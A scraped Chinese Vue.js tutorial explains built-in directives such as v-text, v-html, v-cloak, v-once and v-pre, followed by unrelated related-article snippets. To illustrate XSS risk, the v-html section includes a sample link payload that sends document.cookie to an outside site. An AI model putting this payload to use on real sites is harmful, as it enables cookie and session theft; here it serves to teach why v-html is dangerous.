当前位置： 首页 > news >正文

Vue基本的内置指令

news 2025/10/30 11:54:58

前言

除了常见的v-bind,v-for,v-if,v-on.v-model等，本次学习一些vue提供的其他内置指令

1 v-text

给标签插入文本，类似于插值语法

它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

效果和插值语法是一样的

插值语法比v-text更加的灵活，因为插值语法可以作为字符串拼接，但是v-text的值会替换掉整个div里面的值

前面说过，它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

不能解析标签的，会以正常文本显示

代码如下

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>初始vue</title><!-- 引入vue.js --><script type="text/javascript" src="../js/vue.js"></script><!-- 在线引入day.js --><!-- <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.6/dayjs.min.js"></script> --><!--引入day.js --><script src="../js/dayjs.min.js"></script>
</head>
<body><div id="root"><!-- 插值语法实现 --><h2>你好，{{name}}</h2><!-- v-text指令实现 --><h2 v-text="str"></h2></div>
</body> <script type="text/javascript">const vm=  new Vue({el:'#root',data:{name:'vue',str:'<h1>你好！！！</h1>'},})</script></html>

v-text总结

  • v-text指令
  • 1 作用：向其所在的节点渲染文本内容

  • 2 与插值语法的区别：v-text会替换掉节点中的内容，但是插值语法不会，它会进行拼接

2 v-html

和v-text作用以及写法类似，区别在于v-html可以帮助我们解析标签

可以发现，使用v-html可以实现标签解析，但是v-text是不行的，这也就是两者的区别

v-html的安全性问题

在网站上渲染任意HTML是非常危险的，容易导致XSS攻击

众所周知，cookie在网络上相当于个人身份证，我们在很多网站上都有cookie,这些信息是不能泄露的，不然可能导致很严重的问题，我们就以cookie为例子，验证v-html的安全性问题

右键检查或者F12,选择Application.左侧找到Storage->Cookies(既然加了S就说明可能存放的是多个网址的cookie),cookie本质就是键值对的JSON格式数据

首先因为的这个页面没有做登录功能，是没有cookie的，我需要自己仿造，双击即可添加

如图所示，我模拟了一些cookie，我们可以通过命令(document.cookie)查看cookie:

既然知道了这些，那么就可以模拟恶意获取cookie的场景,我这里用的是给一个文字，暗箱跳转到百度，并且把本台服务器的cookie作为参数携带进去，注意：这里这是模仿

点击发现跳到了百度，而且携带了我的cookie，这样是很危险的！

但是一般的网址都会做cookie的安全处理,查看cookie可以看到有一个HttpOnly选型，如果勾选上代表只能通过http协议获取，不能通过dom命令获取

比如我全部勾选

通过dom就什么也获取不到了

在网站上渲染任意HTML是非常危险的，容易导致XSS攻击！这不是vue的锅，只是不建议这么使用

代码如下

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>初始vue</title><!-- 引入vue.js --><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root"><!-- 插值语法实现 --><h2>你好，{{name}}</h2><!-- v-text指令实现 --><h2 v-text="str"></h2><!-- v-html进行标签解析 --><div v-html="str"></div><div v-html="getCookieUrl"></div></div>
</body> <script type="text/javascript">const vm=  new Vue({el:'#root',data:{name:'vue',str:'<h1>你好！！！</h1>',getCookieUrl:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>你想要的都在这哦~</a>'},})</script></html>

v-html总结

  • v-html指令：
  • 1 作用：与指定节点中渲染包含html结构的内容

  • 2 与插值法与的区别

  •   （1）v-html会替换掉节点的所有的内容，{{XX}}则不会

  •      （2）v-html可以识别html标签(结构)

  •    3 严重注意：v-html有安全性问题

  •   （1）在网站上渲染任意HTML是非常危险的，容易导致XSS攻击

  •   （2） 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上

3 v-cloak

由于这个不太好演示，这里只做说明不演示了

这个属性只有名字，没有值

 <h2 v-cloak>{{name}}</h2>

它一般配合css控制元素隐藏，等页面全部加载完毕之后，会自动删除v-cloak

v-cloak总结

v-cloak指令

1 它只有名字，没有值

2 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会自动删除c-cloak属性

3 使用css配合v-cloak可以解决网速慢的时候页面展示出{{XXX}}的问题

4 v-once

这个属性和v-cloak一样，也是没值的，只有属性名称

通过案例演示下，让vue保存一个数值n，然后让n展示在页面上

初步测试没问题

接下来新增需求，想再写一个h2标签，展示初始化的n值

随着页面的变化，初始化n的值也进行了变化

v-once显然不符合需求，这时候就需要用到v-once了，再h2标签加入

<h2 v-once>初始化n的值是：{{n}}</h2>

这时候再查看页面，实现需求

  • v-once总结

  • v-once指令：

  • 1 v-once所在节点在初次动态渲染后，就视为静态内容了

  • 2 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

5 v-pre

  • 这个指令可以让vue跳过其所在节点的编译过程，也就是vue不会再解析写了v-pre 的东西了
  •  可利用它跳过一些代码，没有使用指令语法的节点，没有使用插值语法的节点，会更快的进行编译

相关文章：

Vue基本的内置指令

前言 除了常见的v-bind,v-for,v-if,v-on.v-model等&#xff0c;本次学习一些vue提供的其他内置指令 1 v-text 给标签插入文本&#xff0c;类似于插值语法 它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构 效果和插值语法是一样的 插值语法比v-text更加…...

编程日记 2023/5/29 19:04:10

华为孟晚舟当值首秀：2030年AI算力将增长500倍！

作者 | 范智林 来源 | 华商观察 微信号&#xff1a;HuashangGC 孟晚舟当值首次亮相。 4月19日&#xff0c;华为副董事长、轮值董事长、CFO孟晚舟在华为第20届全球分析师大会上进行演讲&#xff0c;这是她当值华为轮值董事长以来的首次公开亮相。 按照华为内部规定&#xff0c…...

编程日记 2023/5/31 5:22:31

关于python异常的总结

Python异常是在程序执行时发生的错误&#xff0c;可能会导致程序终止运行。 在Python中&#xff0c;异常处理是一种机制&#xff0c;它允许开发人员在程序发生异常时捕获、处理和报告这些异常&#xff0c;以便程序可以继续运行或在出现异常时进行优雅的退出。 在Python中&…...

编程日记 2023/5/3 1:34:18

基于Java+SpringBoot+vue学生学习平台详细设计实现

基于JavaSpringBootvue学生学习平台详细设计实现 博主介绍&#xff1a;5年java开发经验&#xff0c;专注Java开发、定制、远程、指导等,csdn特邀作者、专注于Java技术领域 作者主页 超级帅帅吴 Java项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取源码联系方式 文章目…...

编程日记 2023/5/3 1:29:17

【云原生网关】Kong 使用详解

目录 一、前言 二、Kong介绍 三、Kong核心组件 3.1 kong组件介绍 3.1.1 Kong Server 3.1.2 Apache Cassandra/PostgreSQL 3.1.3 Kong dashboard 3.2 传统网关与Kong工作模式对比 四、Kong网关特征与架构 4.1 kong网关特征 4.1.1 可扩展性 4.1.2 模块化 4.1.3 在任…...

编程日记 2023/5/3 1:24:16

浅谈之Java多线程

Java多线程是Java语言中一个非常重要的特性&#xff0c;它允许程序同时执行多个任务。通过多线程&#xff0c;程序可以同时处理多项任务&#xff0c;从而缩短程序的执行时间。另外&#xff0c;多线程也有助于利用多核处理器&#xff0c;更好地发挥计算机硬件的性能。 那我们在…...

编程日记 2023/5/3 1:19:15

【Vue3学习笔记1】一个清单应用帮你入门Vue.js

Vue 目前已经是国内最流⾏的前端框架之⼀&#xff0c;Vue 3 带来的诸多优化更是让前端圈迎来了新的潮流&#xff0c;比如&#xff1a; 基于 Proxy 的全新响应式实现&#xff1b; Composition API <script setup> 组织代码的更优方式&#xff1b; 更有料的 TypeScript 支…...

编程日记 2023/5/3 1:14:14

go破冰之旅·8·go函数基本实践及各种玩法

一次5-10分钟即可搞定&#xff0c;以干货效率的学习方式带你更直观的玩转各种玩法&#xff01; 行文不易&#xff0c;一字一句纯手打创造&#xff0c;倾注了不少精力&#xff0c;感谢支持。 目录 什么是函数&#xff1f;有哪些元素&#xff1f; 函数参数、返回值 小程序&…...

编程日记 2023/5/3 1:09:13

Qt - 从零到壹的 打地鼠 游戏

❤️‍&#x1f525;欢迎收看西北风的blog&#xff0c;好男人就是我&#xff0c;我就是西北风。✨ Gitee 地址 W_A_Mole NTC_jason/cc语言 - 码云 - 开源中国 (gitee.com) 目录 &#x1f7e5;一&#xff1a;创建一个主窗体 &#x1f7e3;二.&#xff1a;添加主窗口背景图片…...

编程日记 2023/5/31 9:03:56

代码自动发布系统

之前是jenkins发现gitlab代码更新了就自动获取直接部署到服务器 现在是jenkins自动获取Code之后打包成镜像上传到仓库然后通知docker去拉取更新的镜像 分析 旧∶ 代码发布环境提前准备&#xff0c;以主机为颗粒度静态 新: 代码发布环境多套&#xff0c;以容器为颗粒度编译 …...

编程日记 2023/5/3 0:59:10

qemu-基础篇(一)——安装

文章目录 env安装查看版本查看支持的开发板查看支持的CPU的型号 env ubuntu 安装 sudo apt-get install qemu sudo apt-get install qemu-system-arm sudo apt-get install qemu-system查看版本 qemu-img -V qemu-system-arm --version qemu-system-aarch64 --version返回结…...

编程日记 2023/5/3 0:54:09

从根本上理解Synchronized的加锁过程

作为一个Java开发&#xff0c;对于Synchronized这个关键字并不会陌生&#xff0c;无论是并发编程&#xff0c;还是与面试官对线&#xff0c;Synchronized可以说是必不可少。 在JDK1.6之前&#xff0c;都认为Synchronized是一个非常笨重的锁&#xff0c;就是在之前的《谈谈Java…...

编程日记 2023/5/3 0:49:07

CANOE入门到精通——CANOE系列教程记录1 第一个仿真工程

本系列以初学者角度记录学习CANOE&#xff0c;以《CANoe开发从入门到精通》参考学习&#xff0c;CANoe16 demo版就可以进行学习 概念 CANoe是一种用于开发、测试和分析汽车电子系统的软件工具。它通过在不同层次上模拟汽车电子系统中的不同部件&#xff0c;如ECU、总线和传感…...

编程日记 2023/5/3 0:44:06

JavaEE——单例模式

文章目录 一、介绍什么是单例模式二、饿汉模式三、懒汉模式四、讨论两种模式的线程安全问题 一、介绍什么是单例模式 在介绍单例模式之前&#xff0c;我们得先明确一个名词设计模式。 所谓设计模式其实不难理解&#xff0c;就是在计算机这个圈子中&#xff0c;呢些大佬们为了…...

编程日记 2023/5/3 0:39:05

关于数据倾斜

1、数据倾斜表现 1.1 hadoop中的数据倾斜表现 有一个多几个Reduce卡住&#xff0c;卡在99.99%&#xff0c;一直不能结束。各种container报错OOM异常的Reducer读写的数据量极大&#xff0c;至少远远超过其它正常的Reducer伴随着数据倾斜&#xff0c;会出现任务被kill等各种诡异…...

编程日记 2023/5/3 0:34:04

Shell第一次作业

要求&#xff1a; 1、判断当前磁盘剩余空间是否有20G&#xff0c;如果小于20G&#xff0c;则将报警邮件发送给管理员&#xff0c;每天检查一次磁盘剩余空间。 ​2、判断web服务是否运行&#xff08;1、查看进程的方式判断该程序是否运行&#xff0c;2、通过查看端口的方式判断…...

编程日记 2023/5/3 0:29:03

实例解读nn.AdaptiveAvgPool2d((1, 1))

nn.AdaptiveAvgPool2d((1, 1))在PyTorch中创建一个AdaptiveAvgPool2d类的实例。该类在输入张量上执行2D自适应平均池化。 自适应平均池化是一种池化操作&#xff0c;它计算每个输入子区域的平均值并产生一个指定大小的输出张量。子区域的大小是根据输入张量的大小和输出张量的…...

编程日记 2023/5/3 0:24:02

泛型编程 之模板（template）

C另一种编程思想称为 泛型编程&#xff0c;主要利用的技术就是模板 目录 C另一种编程思想称为 泛型编程&#xff0c;主要利用的技术就是模板 一、概念 二、函数模板 1、语法与使用&#xff1a; 2、函数模板注意事项 3、普通函数与函数模板的区别 4、普通函数与函数模板的调用规…...

编程日记 2023/5/3 0:19:01

用ChatGPT问DotNet的相关问题，发现DotNet工程师的前景还不错

本人最近费了九牛二虎之力注册了一个ChatGPT账号&#xff0c;现在就给大家分享一下&#xff0c;问一下关于.NET的问题&#xff0c;看看ChatGPT的AI功能具体如何&#xff1f; 一、C#跟其它语言比较的优势 回答&#xff1a; C#是一门编程语言&#xff0c;它是为 Microsoft 的 …...

编程日记 2023/5/3 0:14:00

LeetCode_字符串_简单_415.字符串相加

目录 1.题目2.思路3.代码实现&#xff08;Java&#xff09; 1.题目 给定两个字符串形式的非负整数 num1 和num2&#xff0c;计算它们的和并同样以字符串形式返回。 你不能使用任何內建的用于处理大整数的库&#xff08;比如 BigInteger&#xff09;&#xff0c; 也不能直接将…...

编程日记 2023/5/30 4:47:33

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…...

编程新知 2025/10/30 5:00:23

微信小程序之bind和catch

这两个呢&#xff0c;都是绑定事件用的&#xff0c;具体使用有些小区别。 官方文档&#xff1a; 事件冒泡处理不同 bind&#xff1a;绑定的事件会向上冒泡&#xff0c;即触发当前组件的事件后&#xff0c;还会继续触发父组件的相同事件。例如&#xff0c;有一个子视图绑定了b…...

编程新知 2025/10/29 2:48:15

CTF show Web 红包题第六弹

提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框&#xff0c;很难让人不联想到SQL注入&#xff0c;但提示都说了不是SQL注入&#xff0c;所以就不往这方面想了 ​ 先查看一下网页源码&#xff0c;发现一段JavaScript代码&#xff0c;有一个关键类ctfs…...

编程新知 2025/10/30 2:40:16

反向工程与模型迁移：打造未来商品详情API的可持续创新体系

在电商行业蓬勃发展的当下&#xff0c;商品详情API作为连接电商平台与开发者、商家及用户的关键纽带&#xff0c;其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息&#xff08;如名称、价格、库存等&#xff09;的获取与展示&#xff0c;已难以满足市场对个性化、智能…...

编程新知 2025/9/15 5:56:53

什么是库存周转？如何用进销存系统提高库存周转率？

你可能听说过这样一句话&#xff1a; “利润不是赚出来的&#xff0c;是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业&#xff0c;很多企业看着销售不错&#xff0c;账上却没钱、利润也不见了&#xff0c;一翻库存才发现&#xff1a; 一堆卖不动的旧货…...

编程新知 2025/10/30 9:24:58

OkHttp 中实现断点续传 demo

在 OkHttp 中实现断点续传主要通过以下步骤完成&#xff0c;核心是利用 HTTP 协议的 Range 请求头指定下载范围&#xff1a; 实现原理 Range 请求头&#xff1a;向服务器请求文件的特定字节范围&#xff08;如 Range: bytes1024-&#xff09; 本地文件记录&#xff1a;保存已…...

编程新知 2025/9/17 19:16:20

Java多线程实现之Thread类深度解析

Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...

编程新知 2025/8/28 21:52:02

在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的？

uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件&#xff0c;用于在原生应用中加载 HTML 页面&#xff1a; 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...

编程新知 2025/8/6 2:19:46

关键领域软件测试的突围之路：如何破解安全与效率的平衡难题

在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件&#xff0c;这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下&#xff0c;实现高效测试与快速迭代&#xff1f;这一命题正考验着…...

编程新知 2025/10/18 19:25:45

html css js网页制作成品——HTML+CSS榴莲商城网页设计（4页）附源码

目录 一、&#x1f468;‍&#x1f393;网站题目 二、✍️网站描述 三、&#x1f4da;网站介绍 四、&#x1f310;网站效果 五、&#x1fa93; 代码实现 &#x1f9f1;HTML 六、&#x1f947; 如何让学习不再盲目 七、&#x1f381;更多干货 一、&#x1f468;‍&#x1f…...

编程新知 2025/10/25 3:14:19